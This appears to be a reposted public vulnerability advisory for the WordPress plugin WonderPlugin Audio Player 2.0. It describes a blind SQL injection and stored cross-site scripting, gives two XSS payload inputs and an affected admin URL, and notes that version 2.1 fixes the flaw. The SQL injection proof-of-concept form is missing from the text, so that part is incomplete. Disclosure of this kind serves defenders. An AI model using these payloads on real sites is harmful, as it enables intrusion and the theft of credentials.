发布 2015-02-16 漏洞条目

WordPress Plugin WonderPlugin Audio Player 2.0 – Blind SQL Injection / Cross-Site Scripting

Exploit Source

# Exploit Title: WonderPlugin Audio Player 2.0 Blind SQL Injection and XSS

# Date: 20-01-2015

# Software Link: http://www.wonderplugin.com/wordpress-audio-player/

# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# Category: webapps

1. Description

wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).

save_item() uses is_id_exist() in which $id is not escaped properly.

2. Proof of Concept

</form>

This SQL will check if first password character user ID=1 is "$".

If yes it will sleep 5 seconds.

For XSS use:

<input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>

<input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>

</form>

It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items

http://security.szurek.pl/wonderplugin-audio-player-20-blind-sql-injection-and-xss.html

3. Solution:

Update to version 2.1

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